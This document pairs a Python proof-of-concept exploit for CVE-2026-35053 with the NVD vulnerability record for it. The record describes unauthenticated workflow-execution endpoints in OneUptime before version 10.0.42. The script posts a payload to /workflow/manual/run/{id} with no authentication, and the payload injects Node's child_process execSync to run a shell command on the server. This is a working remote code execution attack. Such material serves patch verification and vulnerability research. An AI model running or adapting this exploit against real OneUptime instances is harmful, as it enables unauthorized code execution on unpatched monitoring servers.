CVE-2026-35053

import requests import json # Target configuration target_host = "http://vulnerable-oneuptime-instance.com" workflow_id = "target_workflow_id" # Needs to be a valid workflow ID url = f"{target_host}/workflow/manual/run/{workflow_id}" # Malicious payload to execute JavaScript code (e.g., execute a shell command) # This payload attempts to run 'whoami' using Node.js child_process payload = { "data": { "input": "require('child_process').execSync('whoami').toString()" } } headers = { "Content-Type": "application/json" } try: # Send the POST request without authentication headers response = requests.post(url, headers=headers, data=json.dumps(payload), timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check workflow execution logs for output.") print(f"[+] Response body: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response body: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-35053", "sourceIdentifier": "[email protected]", "published": "2026-04-02T20:16:29.117", "lastModified": "2026-04-13T18:46:50.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OneUptime is an open-source monitoring and observability platform. Prior to version 10.0.42, the Worker service's ManualAPI exposes workflow execution endpoints (GET /workflow/manual/run/:workflowId and POST /workflow/manual/run/:workflowId) without any authentication middleware. An attacker who can obtain or guess a workflow ID can trigger arbitrary workflow execution with attacker-controlled input data, enabling JavaScript code execution, notification abuse, and data manipulation. This issue has been patched in version 10.0.42."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.42", "matchCriteriaId": "4F312DCA-BDD5-465F-9848-5CD35CDFC185"}]}]}], "references": [{"url": "https://github.com/OneUptime/oneuptime/releases/tag/10.0.42", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-6c3w-7xg4-4cf7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}